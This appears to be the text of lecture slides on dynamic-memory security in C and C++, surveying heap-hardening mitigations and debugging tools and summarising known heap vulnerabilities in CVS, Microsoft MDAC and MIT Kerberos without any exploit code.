Mitigation Strategies Phkmalloc() The J(unk) and Z(ero) options were added to find even more memory management defects. The J(unk) option fills the allocated area with the value 0xd0. The Z(ero) option fills the memory with junk except for the exact length the user asked for, which is zeroed.

Mitigation Strategies Randomization Addresses allocated by malloc() are predictable. Exploits harder when unpredictable. Example: OpenBSD() kernel mmap() allocates additional memory pages. mmap will return a random address. Each program execution is different.

Mitigation Strategies Guard Pages Unmapped pages placed between memory allocations of size one page up. Overflow into a guard page causes a segmentation fault. Implemented by ObenBSD, ElectricFence, Application Verifier Have high degree of overhead.

Mitigation Strategies Runtime Analysis Tool Purify performs memory corruption and memory leak detection functions and is available for both Windows and Linux platforms. It detects when a program reads or writes freed memory or frees non-heap or unallocated memory and identifies writes beyond the bounds of an array.

Mitigation Strategies Runtime Analysis Tool Dmalloc Library (dmalloc) replaces malloc(), realloc(), calloc(), free(), and other memory management functions to provide configurable, runtime debug facilities: memory-leak tracking, fence-post write detection, file/line number reporting, general logging of statistics. Replaces the heap library calls normally found in system libraries with its own versions. Makes sure the pointer has not been corrupted when memory is reallocated.

Mitigation Strategies Runtime Analysis Tool Electric Fence Detects buffer overflows or unallocated memory references. Implements guard pages to place an inaccessible memory page after or before each memory allocation. When software reads or writes this inaccessible page, the hardware issues a segmentation fault, stopping the program at the offending instruction. Memory that has been released by free() is made inaccessible, and any code that touches it will get a segmentation fault.

Mitigation Strategies Runtime Analysis Tool GNU checker Finds memory errors at runtime and gives a warning when the program reads an uninitialized variable or memory area or accesses an unallocated memory area. Issues warnings when free() or realloc() is called with a pointer that does not reference a valid memory chunk, including chunks that have already been freed. Checker’s malloc refrains from reusing a freed block immediately to catch accesses to the block shortly after it has been freed. Implements a garbage detector that can be called by a program as it runs. The garbage detector displays all the memory leaks along with the functions that called malloc.

Mitigation Strategies Runtime Analysis Tool Valgrind Allows a programmer to profile and debug Linux/IA-32 executables. Consists of a core, which provides a synthetic IA-32 CPU in software, and a series of tools, each of which performs a debugging, profiling, or similar task. Is closely tied to details of the CPU, operating system, and—to a lesser extent—the compiler and basic C libraries.

Mitigation Strategies Runtime Analysis Tool Insure++ During compilation, Insure++ reads and analyzes the source code to insert tests and analysis functions around each line. Insure++ builds a database of all program elements. Insure++ checks for the following categories of dynamic memory issues: reading from or writing to freed memory. passing dangling pointers as arguments to functions or returning them from functions. freeing the same memory chunk multiple times. attempting to free statically allocated memory. freeing stack memory (local variables). passing a pointer to free() that doesn’t point to the beginning of a memory block. calls to free with NULL or uninitialized pointers. passing arguments of the wrong data type to malloc(), calloc(), realloc(), or free().

Mitigation Strategies Runtime Analysis Tool Application Verifier (MS) Helps to discover compatibility issues common to application code for Windows platforms. The Page Heap utility is incorporated into Application Verifier’s Detect Heap Corruptions test. It focuses on corruptions versus leaks and finds almost any detectable heap-related bug. An off-by-one byte error at the end of a dynamically allocated buffer might cause an instant access violation. For error categories that cannot be detected instantly, the error report is delayed until the block is freed.

Mitigation Strategies Windows XP SP2 Windows XP SP2 has an eight-bit canary at the end of each chunk. The size of the canary was selected for performance reasons, particularly in systems that allocate and free large numbers of relatively small memory chunks. The canary can be brute-forced in situations where the application under attack behaves in a highly deterministic fashion.

Mitigation Strategies Additional checking in the FreeList management When chunk 2 is removed, forward pointer of chunk 1 is updated to point to chunk 3. backward pointer of chunk 3 updated to point to chunk 1. Many Exploits target these values in chunk 2. XP SP2 verifies validity first.

Mitigation Strategies Windows XP SP2 Windows XP SP2 has additional checking in the free list management code which includes three unallocated chunks of memory in a doubly-linked list. When chunk 2 is removed from the linked list, the forward pointer of the previous chunk (chunk 1) is updated to point to chunk 3 and the backward pointer of the following chunk (chunk 3) is updated to link back to chunk 1. Most heap exploits work by modifying the values for flink and blink in chunk 2.

Notable Vulnerabilities CVS Buffer Overflow Vulnerability There is a heap buffer overflow vulnerability in the way CVS handles the insertion and unchanged flags within entry lines. When CVS processes an entry line, an additional memory byte is allocated to flag the entry as modified or unchanged. CVS does not check whether a byte has been previously allocated for the flag, which creates an off-by-one buffer overflow.

Notable Vulnerabilities CVS Buffer Overflow Vulnerability By calling a vulnerable function several times and inserting specific characters into the entry lines, a remote attacker could overwrite multiple blocks of memory. In some environments, the CVS may run with root privileges.

Notable Vulnerabilities Microsoft Data Access Components The remote data services (RDS) component provides an intermediary step for a client’s request for service from a back-end database that enables the Web site to apply business logic to the request. The data stub function in the RDS component contains an unchecked write to a buffer. This function parses incoming HTTP requests and generates RDS commands. The buffer overflow vulnerability could be exploited to cause a buffer overflow in allocated memory.

Notable Vulnerabilities Microsoft Data Access Components There are two ways in which this vulnerability can be exploited. The first involves an attacker sending a malicious HTTP request to a vulnerable service, such as an IIS server. If RDS is enabled, the attacker can execute arbitrary code on the IIS server. RDS is disabled by default on Windows 2000 and Windows XP systems.

Notable Vulnerabilities Microsoft Data Access Components This vulnerability involves a malicious Web site hosting a page that exploits the buffer overflow in the MDAC RDS stub through a client application, such as Internet Explorer. The attacker is able to run arbitrary code as the user viewing the malicious Web page. Most systems running Internet Explorer on operating systems other than Windows XP are vulnerable to this attack.

Notable Vulnerabilities CVS Server Double Free Vulnerability A double-free vulnerability in the CVS server could allow a remote attacker to execute arbitrary code or commands or cause a denial of service on a vulnerable system. The CVS server component contains a double-free vulnerability that can be triggered by a set of specially crafted directory change requests. While processing these requests, an error checking function may attempt to free() the same memory reference more than once.

Notable Vulnerabilities Kerberos 5 Vulnerability There is a double-free vulnerability in the krb5_rd_cred() function in the MIT Kerberos 5 library. Implementations of krb5_rd_cred() before the krb5-1.3.2 release contained code to explicitly free the buffer returned by the ASN.1 decoder function decode_krb5_enc_cred_part() when the decoder returns an error. This is a double-free because the decoder would itself free the buffer on error.

Summary Dynamic memory management in C and C++ programs is prone to software defects and security flaws. While heap-based vulnerabilities can be more difficult to exploit than their stack-based counterparts, programs with memory-related security flaws can still be vulnerable to attack. A combination of good programming practices and dynamic analysis can help to identify and eliminate these security flaws during development.